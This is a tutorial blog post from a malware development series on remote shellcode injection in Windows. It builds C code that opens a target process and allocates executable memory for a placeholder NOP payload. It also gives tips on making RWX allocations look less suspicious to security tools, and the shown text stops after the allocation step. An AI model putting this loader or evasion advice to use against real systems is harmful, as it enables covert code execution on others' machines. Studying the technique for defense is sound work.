# Shellcode Injection

<details>

<summary> Table of Contents</summary>

* [Foreword](#foreward)
* [Overview](#overview)
  * [The API Calls](#the-api-calls)
* [Creating the Program](#creating-the-program)
  * [Getting a Handle](#getting-a-handle)
    * [Retrieving Error Codes](#retrieving-error-codes)
  * [Allocating a Buffer](#allocating-a-buffer)
  * [Writing to Process Memory](#writing-to-process-memory)
  * [Creating a Thread](#creating-a-thread)
* [Generating Shellcode](#generating-shellcode)
* [Performing the Injection](#performing-the-injection)
* [Common Pitfalls](#common-pitfalls)
* [Acknowledgements](#acknowledgements)
* [References ](#references)

</details>

## Foreword

Swine is airborne and hell hath frozen over. The second installment of our malware development series is out! In it, we learn about shellcode injection, and as a little bonus, [DLL Injection](/nest/mal/dev/inject/dll-injection.md).&#x20;

{% embed url="<https://www.youtube.com/watch?v=A6EKDAKBXPs>" %}
Malware Development II: Process Injection
{% endembed %}

{% hint style="warning" %}
Once again, I'm just a ~~nerd~~ normal dude trying his best to learn. I'm not claiming to be some levitating primordial maestro at programming, the author of any of these techniques found in the blog, or an expert at developing malware. Please excuse the [outlast](https://en.wikipedia.org/wiki/Outlast) levels of clinically insane coding practices I might subject your eyes to. I'm constantly learning and trying to improve, and as such, my coding practices, [as a function of time](#user-content-fn-1)[^1], will get better and better the longer I do this. Hopefully, the blog and the GitHub repository will reflect this. I'll constantly update the code and blog posts as I get better at pointing out better ways of doing certain things, writing cleaner code, etc.&#x20;
{% endhint %}

## Overview

This technique is as vanilla as it gets. It is, by far, [the simplest injection technique](#user-content-fn-2)[^2], but it’s also *quite elegant*, don’t get me wrong. The general steps for a standard shellcode injection, are the following:

1. Get a handle on a process by attaching to or creating one.&#x20;
2. Allocate some memory in the process with the necessary/appropriate permissions for our shellcode to run.
3. Write the contents of your shellcode/payload to that allocated page in the process memory.
4. Create a thread that'll start running what you've surgically allocated and written into the process!
5. Optional[^3]: Incorporate some cleanup and housekeeping once the thread's finished its execution.

Also, to introduce some necessary semantics for later, since we'll inject some *other* process running on the machine—in other words, an *arbitrary* process, we'll refer to this as a "*remote*" shellcode injection. If we were to inject the process we started ourselves *locally*, then it would be known as a "*local*" shellcode injection. For this technique, we're sticking with the Win32 API (hereafter, "WinAPI"), which at this point, you should be at least a *little* familiar with. If not, fret not. See the post below (and the attached video) to get started:

{% embed url="<https://crows-nest.gitbook.io/crows-nest/malware-development/getting-started-with-malware-development>" %}
Start here, buddy
{% endembed %}

Eventually, we'll get a bit more advanced/meticulous in our craft but until then, we'll stick to using the standard WinAPI. We'll start by looking at which API calls we'll need to [rip and tear](https://www.youtube.com/watch?v=U-3kJcBfQ9w) into this technique. Let's get started!

### The API Calls

{% hint style="info" %}
All of the documentation for these functions and the entirety of WinAPI can be found on [Microsoft's documentation pages](https://learn.microsoft.com/en-us/windows/win32/apiindex/windows-api-list) (commonly referred to as the "MSDN"). Remember that the WinAPI is well-documented, meaning that if you have questions about what something is doing within a function or program, more often than not, you'll be able to find the answer within the docs itself. On the flip side, I know how daunting this incredible resource is when you start. However, I promise that if you take the time to *actually* read it, you'll come to appreciate this resource. For all of the wacky things that Microsoft is known for, their documentation is genuinely helpful for us in the early stages of our journey. That is... until it *isn't*. But, that's a topic reserved for when we cover the [NTAPI](/nest/mal/dev/inject/ntapi-injection.md).
{% endhint %}

The most common calls you might end up seeing for this technique (although please note that some well-known permutations of this technique include different API calls than the ones listed below. However, I won't mention them here as they're out-of-scope for this blog post) are something like the following—in their respective order:

#### [OpenProcess](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess)

```cpp
// get a handle on the process 
HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
```

#### [VirtualAllocEx](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)

```cpp
// allocate some space in the process's virtual memory
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

#### [WriteProcessMemory](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)

```cpp
// write our payload to the allocated memory
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
```

#### [CreateRemoteThreadEx](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethreadex)

```cpp
// create a thread that runs our payload
HANDLE CreateRemoteThreadEx(
  [in]            HANDLE                       hProcess,
  [in, optional]  LPSECURITY_ATTRIBUTES        lpThreadAttributes,
  [in]            SIZE_T                       dwStackSize,
  [in]            LPTHREAD_START_ROUTINE       lpStartAddress,
  [in, optional]  LPVOID                       lpParameter,
  [in]            DWORD                        dwCreationFlags,
  [in, optional]  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [out, optional] LPDWORD                      lpThreadId
);
```

## Creating the Program

Again, a facehugger probably looks less alien than this—if you're *just* starting. Worry not, I'll be holding your hand for all of this (why are they *so* sweaty?). It's at this point I'd like to discuss the different kinds of compilers, IDEs, and all of that. For my personal projects, I develop in [Neovim](https://neovim.io/) and use [GCC ](https://gcc.gnu.org/)as my compiler; I know that's not everyone's [cup o' tea](#user-content-fn-4)[^4], so I'll be using Visual Studio for these blogs. The IDE or compiler you use [shouldn't matter in the slightest](#user-content-fn-5)[^5]. However, the way you *compile* your program(s) *definitely* does. We'll get more in-depth into why proper compilation is important in the "[Common Pitfalls](#common-pitfalls)" section. For now, follow my lead. Open up your magical little gunky gamer dungeon IDE of choice (in this case, we're using Visual Studio) and select `Create a new project`:

<figure><img src="/files/bx9wCLn9eFHAkoB7YbZ0" alt=""><figcaption><p>Creating a new project</p></figcaption></figure>

Now, select a new empty project for `C++`. Don't worry, we'll only be writing standard `C` code. You're more than welcome to adapt this (or *any* of the techniques we learn about) to your `C++`, `Rust`, `C#`, etc., code. Perhaps, you can even make it *even more* efficient than what I have or... much [*much* worse](#user-content-fn-6)[^6]! That's the beauty of computers—betwixt glory and blistering shame lay an obedient needle and ultimately, it's up to you to decide how you teeter it.

<figure><img src="/files/CREJXSIAdgU1tx8h6InO" alt=""><figcaption><p>Empty <code>C++</code> project</p></figcaption></figure>

Find a directory to place your solution in and name that little guy:

<figure><img src="/files/FTPrL1EZmjgCvmy6c15P" alt=""><figcaption><p>Naming our solution</p></figcaption></figure>

With that finished, I'll make a file called `main.c`, which we can do by pressing `Ctrl` + `Shift` + `A` and writing `main.c` for the name.

<figure><img src="/files/2RqWd9F94wkv7NihehxQ" alt=""><figcaption><p>Adding a new file to the solution</p></figcaption></figure>

Press `Add` and now we can begin writing code into this file! To start, we'll add the following to the `main.c` file:

{% code title="main.c" %}

```c
#include <stdio.h>
#include <windows.h>
  
// error-handling & logging-related macros. normally, these would be in a header file.
#define OKAY(MSG, ...) printf(              "[+] " MSG "\n", ##__VA_ARGS__)
#define INFO(MSG, ...) printf(              "[*] " MSG "\n", ##__VA_ARGS__)
#define WARN(MSG, ...) fprintf(stderr,      "[-] " MSG "\n", ##__VA_ARGS__)
#define PRINT_ERROR(FUNCTION_NAME)                                        \
    do {                                                                  \
        fprintf(stderr,                                                   \
                "[!] [" FUNCTION_NAME "] [%s:%d] failed, error: 0x%lx\n", \
                __FILE__, __LINE__, GetLastError());                      \
    } while (0)

int main(int argc, char* argv[]) {
    OKAY("everything's in order");
    return EXIT_SUCCESS; 
}
```

{% endcode %}

{% hint style="info" %}
The print macros weren't discussed in the videos, but I use them all the time now (thanks to [bakki ](https://twitter.com/shubakki)for introducing me to macros in the first place). I want to introduce you guys to them because they'll be present in all my future code *and* they save us a lot of time and space. The macro, when viewed closely, should be pretty clear to understand, but the "[`##__VA_ARGS__`](#user-content-fn-7)[^7]" could lead to some confusion. If you're confused about the part of the variadic arguments, check out the link [here](https://gcc.gnu.org/onlinedocs/cpp/Variadic-Macros.html).
{% endhint %}

{% hint style="info" %}
I've switched to using mostly standard `C` code, moving away from `C++` since I started malware development. The choice of programming language doesn't really matter. All languages are just tools for achieving specific tasks (as I mentioned at the beginning of this series). Some languages are better suited for *certain* tasks; for instance, `C++`'s "`constexpr`" is great for [compile-time string obfuscation](https://github.com/adamyaxley/Obfuscate). Just remember that your languages are decided on a per-project basis. The code in the videos and blog might look [a bit different](#user-content-fn-8)[^8], but the underlying logic remains the same. It's infinitely harder to update the videos than it is the blog, so you'll see my attempts at refined code here whereas the videos are riddled with my critical coding blunders (peeling off my skin, by the way). Maybe it's cope, but I think that being able to cringe at your previous blaspheme against the heavens means certain growth; of *some* kind, at the very least.
{% endhint %}

In the code so far, we're including the Windows header (`<windows.h>`) into our program, which will let us use the WinAPI. Which, if we remember, is just an interface that allows us to talk to and manipulate the Windows OS. I started using [`EXIT_SUCCESS` and `EXIT_FAILURE`](#user-content-fn-9)[^9] because I like making my code verbose. Perhaps more verbose than it *should* be, but in my opinion, it's better to be exhausted by reading verbose code than be enraged by reading "what the hell does this even do" code. They're both defined in the `<stdlib.h>` library and it's just a glorified way of saying `0` for success, `1` for error.&#x20;

<figure><img src="/files/KVrdaim0OuLA1GpBllbO" alt=""><figcaption><p>Read more <a href="https://learn.microsoft.com/en-us/cpp/c-runtime-library/exit-success-exit-failure?view=msvc-170">here</a></p></figcaption></figure>

Let's compile this to make sure everything's working. To do this, we can hit the huge green YouTube play button at the top of the Visual Studio IDE (or just press `Ctrl` + `F5`):

<figure><img src="/files/rELNDvvceUFvj6GYn9pc" alt=""><figcaption><p>Everything's working as intended!</p></figcaption></figure>

{% hint style="danger" %}
Remember to compile in 64-bit if your target process or shellcode is 64-bit. Otherwise, you will run into issues, as we'll see in more detail in the [common pitfalls](#common-pitfalls) section.
{% endhint %}

In [the video](https://youtu.be/A6EKDAKBXPs), I defined the variables (like `hProcess`, `hThread`, `PID`, etc.) in the [global scope](https://learn.microsoft.com/en-us/cpp/cpp/scope-visual-cpp?view=msvc-170) like a seaweed-smoking troglodytic gas huffer. This is *not* good practice as I've since learned, and honestly, *should've* known. It's better to have the variables defined in the function scope otherwise it'll come back to bite us in the ass later. Also, in the video, I had mentioned the [Hungarian notation](https://en.wikipedia.org/wiki/Hungarian_notation) that Microsoft uses for their naming convention; but some of my variables weren't following that paradigm, while others were. So, I'll try to omit this cherry-picking and just program with what makes me feel comfortable [a bit more strictly from now on](#user-content-fn-10)[^10]. To start off, we'll make sure that the program was supplied with a command-line argument for the `PID` which is required for us to get a handle on the process; which we'll need to do anything to/for/on the program. If not, we'll have it error out with the expected usage:

{% code title="main.c" %}

```c
#include <stdio.h>
#include <windows.h>

#define OKAY(MSG, ...) printf(              "[+] " MSG "\n", ##__VA_ARGS__)
#define INFO(MSG, ...) printf(              "[*] " MSG "\n", ##__VA_ARGS__)
#define WARN(MSG, ...) fprintf(stderr,      "[-] " MSG "\n", ##__VA_ARGS__)
#define PRINT_ERROR(FUNCTION_NAME)                                        \
    do {                                                                  \
        fprintf(stderr,                                                   \
                "[!] [" FUNCTION_NAME "] [%s:%d] failed, error: 0x%lx\n", \
                __FILE__, __LINE__, GetLastError());                      \
    } while (0)

int main(int argc, char* argv[]) {

    // declare and initialize some variables for later use
    DWORD  PID           = 0;
    DWORD  TID           = 0;
    PVOID  Buffer        = NULL;
    HANDLE ThreadHandle  = NULL;
    HANDLE ProcessHandle = NULL;

    // did the user supply the PID from the CLI?
    if (argc < 2) {
        WARN("usage: \"%s\" <PID>", argv[0]); // if not, print the expected usage
        return EXIT_FAILURE;
    }

    // if so, then continue with the program's execution
    PID = atoi(argv[1]);
    INFO("trying to get a handle to the process (%ld)...", PID);

    [...] // we're here now

    return EXIT_SUCCESS;

}
```

{% endcode %}

We see some familiar data types and variables (assuming you've watched the first video). We see some `HANDLE` types which we've assigned to the `ProcessHandle` and `ThreadHandle` variables. We've created some `DWORD` types which we've assigned to the `PID` and `TID` variables. And then a `PVOID` type for the `Buffer` variable, which we'll come back to in a bit. As mentioned before, we're currently just checking to see if the program has been supplied with an argument for the `PID`.&#x20;

> "But Crow, *why* do we need to get the PID from the command line?"
>
> — Some random Arkham Asylum escapee

If we don't take in a `PID` from the CLI, we'd have to change it in the source code *every. single. time.* and recompile it over and over again (you could implement a function that takes in a process's name as a string argument, does automatic process finding, or spawns a process to inject into, etc.). And frankly, I can't think of a better example of unhinged poignant masochism. After we get an argument for the `PID`, we convert it into an integer type using the `atoi` function since process identifiers are numbers correlated to a given process.&#x20;

{% hint style="info" %}
On Windows, PIDs are always [multiples of four](https://devblogs.microsoft.com/oldnewthing/20080228-00/?p=23283) (4). This wasn't *always* the case, however. Windows 95 didn't follow this paradigm. Not important here, but it's still pretty cool to know.
{% endhint %}

Just in case anyone is brand new to programming in `C`, and is confused about why we're using `argv[]` to get our arguments, it's because the argument vector (`argv`) is an array of pointers to character objects; i.e., our inputs/command-line arguments. Further, in the error message where we're checking to see if an argument for a PID was supplied, we're supplying `argv[0]` in the error message because typically, that is the path to the executable itself; as shown below.

{% code title="main.c" %}

```c
// gcc -o args.exe main.c
#include <stdio.h>

int main(int argc, char* argv[]) {
        for (int i = 0; i < argc; i++) {
                printf("[*] argv[%d] => %s\n", i, argv[i]);
        }
        return 0;
}
```

{% endcode %}

<figure><img src="/files/cVtwCLNf5NZ2OSmNsHAA" alt=""><figcaption><p>Example demonstration</p></figcaption></figure>

### Getting a Handle

&#x20;At this point in our code, we're going to try to get a handle on our target process via the supplied `PID`. As you may know by now, we'll be using the `OpenProcess` function to do this.

<figure><img src="/files/J2NEXeGix5CXVXiHQihQ" alt=""><figcaption><p><code>OpenProcess</code> syntax from MSDN</p></figcaption></figure>

The easiest way to grasp what this function does, in my opinion, is by reading the "[Return value](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess#return-value)" section of this function. You can find it below:

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess#return-value>" %}
Return value section of `OpenProcess`
{% endembed %}

<figure><img src="/files/QFPUYQCHdv0C5wz5qDIr" alt=""><figcaption><p><code>OpenProcess</code> return value</p></figcaption></figure>

From this section, we can see that if `OpenProcess` succeeds, it will return an open/valid handle to the specified process, which is what we're going to make our `ProcessHandle` variable hold; hence why it was important to declare it as the "`HANDLE`" data type. If it fails, it will return `NULL`. Because of this, we can set up some pretty cool and straightforward error handling for our program and the functions therein as we'll see soon. Let's look at all the arguments that `OpenProcess` is expecting:

1. `DWORD` `dwDesiredAccess`
2. `BOOL` `bInheritHandle`
3. `DWORD` `dwProcessId`

The first argument is where we specify the [access rights](https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights) that we'd like to have on the target process. There are various access rights that we could specify, which we can see below:

<figure><img src="/files/8E9zoJGKf71T0pkGiAxv" alt=""><figcaption><p>Process-specific access rights table from MSDN</p></figcaption></figure>

You can read more about them here:

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights>" %}
Process access rights table
{% endembed %}

Basically, these process access rights determine *what exactly* we're allowed to do to a process. In other words, our potential actions/intentions with the given process are granted *or limited* by the *access rights* we have/declare for it. Remember the steps of this technique and how I said we'd have to allocate and write some memory within the process's address space? For us to do that, we'd *at minimum* need the following access right:&#x20;

<figure><img src="/files/alfLhr1Qzz1TYoDRF1JV" alt=""><figcaption><p><code>PROCESS_VM_OPERATION</code></p></figcaption></figure>

As you can see, because we're trying to tinker with the address space of the process, using functions like `VirtualProtectEx` and `WriteProcessMemory`, we'd have to supply this access right. Is that it then? Is that *all* we supply for this `dwDesiredAccess` argument? `PROCESS_VM_OPERATION`? Well... *not quite*. You see, these rights are *extremely particular* and often, *many* are used together. Sure, you'll be able to allocate and write to the process memory, but how do you expect to create a thread to run your payload without an access right like:&#x20;

<figure><img src="/files/J8NEbI7IbfwiI1kaGlTW" alt=""><figcaption><p><code>PROCESS_CREATE_THREAD</code></p></figcaption></figure>

Not to mention other rights like being able to query information about the process (`PROCESS_QUERY_INFORMATION`), suspending or resuming it (`PROCESS_SUSPEND_RESUME`), etc. It's because of all of these little things and access rights, that make it easier for us to specify an access right like "`PROCESS_ALL_ACCESS`" which is basically the "god mode" access right. I'm not even kidding:

> "All possible access rights for a process object."
>
> — [Process Security and Access Rights](https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights), [MSDN](https://learn.microsoft.com/en-us/windows/)

{% hint style="info" %}
Note that it's generally best practice to give yourself the *least* amount of rights in order to do something sufficiently. It's also safer that way and generally regarded as the best practice for dealing with things—especially when it includes rights and privileges. Modern security, for the majority, is based on this concept, and it even has a pretty little name: the "Principal of Least Privilege" ([PoLP](https://en.wikipedia.org/wiki/Principle_of_least_privilege)). Since what we're trying to do is [quite beefy](#user-content-fn-11)[^11] and requires a variety of individual access rights, we'll supply "`PROCESS_ALL_ACCESS`" as our argument here so we can avoid that headache and let it handle the necessary overhead for us.&#x20;
{% endhint %}

```c
ProcessHandle = OpenProcess(
    PROCESS_ALL_ACCESS, // dwDesiredAccess
    ...
);
```

Now, let's get on with that second parameter, `bInheritHandle`. This parameter is just a boolean[^12] type that specifies whether we'd like to inherit the handle(s) created by our process; i.e., if our process creates another process, do we want to inherit the handle of that newly created process? We'll set this to `FALSE` since we don't need it for our purposes:

```c
ProcessHandle = OpenProcess(
    PROCESS_ALL_ACCESS, // dwDesiredAccess
    FALSE,              // bInheritHandle
    ...
);
```

Lastly, the `dwProcessId` argument is the `PID` of the process that we'd like to open a handle to. If you'll recall, we've ensured that we get this value from the command line and we've stored it in the `PID` variable.

```c
ProcessHandle = OpenProcess(
    PROCESS_ALL_ACCESS, // dwDesiredAccess
    FALSE,              // bInheritHandle
    PID                 // dwProcessId
); 
```

We've set up this portion of the code and we can now work on some error handling, as we've mentioned before. Since we know that this function returns `NULL` on error, we can write the following:

<figure><img src="/files/xNrElEMqD8oXV1GESUAN" alt=""><figcaption><p>Error handling for our process handle</p></figcaption></figure>

#### Retrieving Error Codes

In the `PRINT_ERROR` macro, I've incorporated a new function: "`GetLastError`." One of my favourites. It's so simple but provides so much information and has its roots in very primitive/primordial structures in the Windows ecosystem (the `LastErrorValue` member of the `_TEB` structure, which we'll cover some other time). Let's try an example to truly grasp the importance of this holy grail of debugging (if you don't care, or already know what this function does, [click here](#allocating-a-buffer) to move to the next portion). The `GetLastError` function is defined thusly:

<figure><img src="/files/K8sRnSqjplav03ZhnhxH" alt=""><figcaption><p><code>GetLastError</code> syntax from <a href="https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-getlasterror">MSDN</a></p></figcaption></figure>

<figure><img src="/files/UOqEYWRL8GacMG8bwzc9" alt=""><figcaption><p>Return value of <code>GetLastError</code></p></figcaption></figure>

However, from an *actual* disassembly of the `GetLastError` function, we can see what it *truly* is/does:

<figure><img src="/files/FheMrlx8U44zGX1g3lJ2" alt=""><figcaption><p>Disassembling <code>GetLastError</code></p></figcaption></figure>

From the output above, we can see that the `GetLastError` literally returns the value present in the `LastErrorValue` member of the `_TEB` structure located in `ntdll.dll`. Don't worry if this doesn't make sense right now, it will later but I bring it up now to highlight the importance of recognizing and understanding where our functions get their values from; especially if our functions are something like the WinAPI and *especially*, the NTAPI. I'll create separate blog posts talking about kernel structures and we'll better understand what lines like: "`00007ffb9cc2b610 65488b042530000000 mov rax, qword ptr gs:[30h]`" mean and where they come from. Getting back to the `GetLastError` function itself, if a thread errors out, the function grabs the error code corresponding to that *specific* error. Let's try to supply a `PID` to our program which obviously wouldn't ever exist and see what this program spits out:

<figure><img src="/files/5SCSv7ZI2BmzCIEqv0E0" alt=""><figcaption><p>Error output</p></figcaption></figure>

We can see that the program spits out an error with the following value: `0x57`.&#x20;

> "What the hell does this mean? What do we do with this?"
>
> — You yelling (please stop screaming at me).

This value or *any* of the values outputted here, are the so-called "[system error codes](https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes#system-error-codes)." From the following page:

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes>" %}
Catalogue of various system error codes
{% endembed %}

<figure><img src="/files/eQHPtIEL5PgVZh2kw6xU" alt=""><figcaption><p>Holy moly</p></figcaption></figure>

What we'd do now is cross-reference the error code we got (the `0x57` value), with this neat little lookup section to quickly figure out what went wrong based on the error code we got! Let's take that `0x57` value from our program and see what's going on.

<figure><img src="/files/Q1fM13uTHQZ8evcPNdLq" alt=""><figcaption><p><code>ERROR_INVALID_PARAMETER</code> error code</p></figcaption></figure>

{% hint style="info" %}
A huge tip to save you some time: you don't *have* to go to MSDN whenever you want to look up an error code. Instead, we can use the incredible `certutil.exe` tool to query our error codes. It works just as well. The syntax is the following:

```powershell
certutil /error <error>
```

![](/files/4aBrZopo4LrEbSTyetts)\
If for any reason `certutil` isn't giving you what you're looking for, then you can put in the elbow grease and head to the MSDN. If the MSDN can't provide you with an explanation of the error code you're generating, then congratulations! Somehow you've revolutionarily shattered Windows. *Respect*.
{% endhint %}

We can see that our value of `0x57` is telling us that we've supplied an invalid parameter! That's *so much* information given to us! Now, you can also print this out as a decimal by changing the format specifier in the error print statement to "`%ld`." Personally, I like the way that hexadecimal looks a bit more, but again, it's all up to you. It's the same exact information just outputted differently. Let's try one more example, where we try to get a handle on an *elevated* process. Something like the system process with `PID` (`4`):

<figure><img src="/files/XhglpT16zDPOuogqwUAz" alt=""><figcaption><p>System error code of <code>0x5</code></p></figcaption></figure>

We get an error code of `0x5`. If we look this up in the error code catalogue, we can see that this tells us we don't have the necessary permissions to open a handle to *this* process:

<figure><img src="/files/988vcyGJtNWUhvK6JOA1" alt=""><figcaption><p><code>ERROR_ACCESS_DENIED</code></p></figcaption></figure>

<figure><img src="/files/3Nh48IyoPYYB1CnMhQBq" alt=""><figcaption><p><code>ERROR_ACCESS_DENIED</code> on <code>certutil</code></p></figcaption></figure>

{% hint style="warning" %}
[`GetLastError`](https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-getlasterror), as awesome as it is, won't work in all situations. For instance, when you're working with the lower-level NTAPI—which is exported by `ntdll.dll`, that region of error handling is done through the actual [`NTSTATUS`](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55) codes themselves. Again, we'll cover this later once we discuss the lower-level techniques. Don't worry if this doesn't make sense yet or if it sounds like the ramblings of a [Jubilex worshipper](https://forgottenrealms.fandom.com/wiki/Juiblex#Worshipers), it'll all make sense in due time.
{% endhint %}

### Allocating a Buffer

Here's where we're at right now:

```powershell
PS C:\Users\hepha\maldev\shellcode_injection\x64\Debug> notepad; .\shellcode_injection.exe $(get-process -name notepad).id
[*] trying to get a handle to the process (21928)...
[+] [0x0000000000000094] got a handle on the process (21928)!
```

We can see that if we supply a *legitimate* `PID` to an *actual* process, the program spits out the handle we got from it. Looking good. Now, we need to allocate a region of memory to our target process, and we can do this with the ever-so-popular, `VirtualAllocEx` function. Again, there are *other* ways of allocating memory to a program, but this is the most common way to do it for *our* purposes. Before doing that, however, we need to set up some variables since `VirtualAllocEx` will be expecting them.

{% code title="main.c" %}

```c
    CONST UCHAR Shellcode[] = { 0x90, 0x90, 0x90, 0x90, 0x90 }; // our payload (just a bunch of NOPs for now) 
    PVOID  Buffer           = NULL; // our soon-to-be allocated memory buffer
    HANDLE ProcessHandle    = NULL;
    HANDLE ThreadHandle     = NULL;
    SIZE_T ShellcodeSize    = sizeof(Shellcode);
```

{% endcode %}

We're setting up our shellcode here, as well as the size of it. We'll come back to generating the shellcode when the time comes, but for now, let's start setting up `VirtualAllocEx`.

<figure><img src="/files/33Dxk6tDbxBa2EfEhqAG" alt=""><figcaption><p><code>VirtualAllocEx</code> syntax from <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex">MSDN</a></p></figcaption></figure>

The first parameter is a handle to our process. Our `ProcessHandle` variable is currently holding the returned value from `OpenProcess`, which again, is just an open handle to our legitimate target process. So, we can put in `ProcessHandle` for this argument.

```c
Buffer = VirtualAllocEx(
    ProcessHandle, // hProcess
    ...
);
```

The second parameter, i.e., the `lpAddress` is an *optionally* inputted argument for this function. It's just a pointer that specifies the starting address for the region of [pages](https://en.wikipedia.org/wiki/Page_\(computer_memory\)) that we'd like to allocate. If we set this to `NULL`, the function will determine where to allocate the region. Therefore, we'll let the function drive itself home for this part.

```c
Buffer = VirtualAllocEx(
    ProcessHandle, // hProcess
    NULL,          // lpAddress
    ...
);
```

The next argument, `dwSize`, is where we specify the *size* of the region of memory that we'd wish to allocate. This is the size of our shellcode from earlier. So, let's populate this argument as such:

```c
Buffer = VirtualAllocEx(
    ProcessHandle, // hProcess
    NULL,          // lpAddress
    ShellcodeSize, // dwSize
    ...
);
```

Next up, we have the `flAllocationType`. This is the type of allocation we'd like to do.&#x20;

<figure><img src="/files/ThH9Cy89mfHN83QvjsEX" alt=""><figcaption><p>Allocation types</p></figcaption></figure>

For our cases here, we just want to be able to reserve some space (`MEM_RESERVE`) and then we'd want to be able to actually *commit* that memory (`MEM_COMMIT`). So, let's add them both.

```c
Buffer = VirtualAllocEx(
    ProcessHandle,            // hProcess
    NULL,                     // lpAddress
    ShellcodeSize,            // dwSize
    MEM_RESERVE | MEM_COMMIT, // flAllocationType
    ...
);
```

Last but not least, we have to select the memory protection that we want our allocated memory to have. From the documentation:

<figure><img src="/files/r4M1ToSyYDhpCMc0Nj73" alt=""><figcaption><p><code>flProtect</code> section of <code>VirtualAllocEx</code> from MSDN</p></figcaption></figure>

So, we're allowed to specify any one of the memory protection constants, huh? Let's go give them a visit and see what we're allowed to supply here. You can find these memory protection constants below:

{% embed url="<https://learn.microsoft.com/en-us/windows/win32/Memory/memory-protection-constants>" %}
Memory Protection Constants
{% endembed %}

<figure><img src="/files/hnv8bELi0unYgRrmXwYy" alt=""><figcaption><p><em>Some</em> of the memory protection constants for us to use</p></figcaption></figure>

As is the case with most of Microsoft's stuff, there are a lot of things for us to choose from here. However, we need to remember the basics. We're going to be giving ourselves `PAGE_EXECUTE_READWRITE` (`RWX`) for our shellcode. If we don't have the execute permissions, it's like the whole nightmare of dealing with `NX`/`DEP`. <mark style="background-color:orange;">Our shellcode won't be of any use to us if we can't execute it</mark>.&#x20;

{% hint style="info" %}
Remember that a randomly allocated buffer with full `RWX` permissions can look *extremely* suspicious. Some security solutions might just straight-up kill your process if it detects this. There are some techniques in which a function like [`VirtualProtect`](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect) gets used. With `VirtualProtect`, what would happen is something like the following: You allocate a region of memory with minimal permissions initially (something like `RW`), and then change those permissions (to something like `RX`) denoted by the `flNewProtect` argument supplied to this function, after you've written the payload to the allocated memory and you're ready to execute it.

{% code overflow="wrap" %}

```
[in] flNewProtect

The memory protection option. This parameter can be one of the memory protection constants.

For mapped views, this value must be compatible with the access protection specified when the view was mapped (see MapViewOfFile, MapViewOfFileEx, and MapViewOfFileExNuma).
```

{% endcode %}
{% endhint %}

{% code overflow="wrap" %}

```c
Buffer = VirtualAllocEx(
    ProcessHandle,            // hProcess
    NULL,                     // lpAddress
    ShellcodeSize,            // dwSize
    MEM_RESERVE | MEM_COMMIT, // flAllocationType
    PAGE_EXECUTE_READWRITE    // flProtect
); 
```

{% endcode %}

With that done, we've allocated our buffer at this point! This means we're now ready to actually *write* the contents of our shellcode, into our recently allocated buffer inside of the process memory.&#x20;

### Writing to Process Memory

Here's where we're at right now:

{% code title="main.c" %}

```c
#include <windows.h>
#include <stdio.h>

#define OKAY(MSG, ...) printf("[+] "          MSG "\n", ##__VA_ARGS__)
#define INFO(MSG, ...) printf("[*] "          MSG "\n", ##__VA_ARGS__)
#define WARN(MSG, ...) fprintf(stderr, "[-] " MSG "\n", ##__VA_ARGS__)
#define PRINT_ERROR(FUNCTION_NAME)                                        \
    do {                                                                  \
        fprintf(stderr,                                                   \
                "[!] [" FUNCTION_NAME "] [%s:%d] failed, error: 0x%lx\n", \
                __FILE__, __LINE__, GetLastError());                      \
    } while (0)

int main(int argc, char* argv[]) {

    CONST UCHAR Shellcode[] = { 0x90, 0x90, 0x90, 0x90, 0x90 };
    DWORD  PID              = 0;
    DWORD  TID              = 0;
    PVOID  Buffer           = NULL;
    HANDLE ThreadHandle     = NULL;
    HANDLE ProcessHandle    = NULL;
    SIZE_T ShellcodeSize    = sizeof(Shellcode);

    if (argc < 2) {
        WARN("usage: \"%s\" <PID>", argv[0]);
        return EXIT_FAILURE;
    }

    PID = atoi(argv[1]);
    INFO("trying to get a handle to the process (%ld)...", PID);

    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    if (ProcessHandle == NULL) {
        PRINT_ERROR("OpenProcess");
        return EXIT_FAILURE;
    }
    OKAY("[0x%p] got a handle on the process (%ld)!", ProcessHandle, PID);

    Buffer = VirtualAllocEx(ProcessHandle, NULL, ShellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (Buffer == NULL) {
        PRINT_ERROR("VirtualAllocEx");
        return EXIT_FAILURE;
    }
    OKAY("[0x%p] [RWX] allocated %zu-byte buffer to the target process", Buffer, ShellcodeSize);

    [...] /* we are here, homie ^-^ */

    return EXIT_SUCCESS;

}
```

{% endcode %}

Let's try to run this and see if we get our expected output or not.

<figure><img src="/files/QKFAwIxs0p6e78ghQxXK" alt=""><figcaption><p>Lookin' good, stinky</p></figcaption></figure>

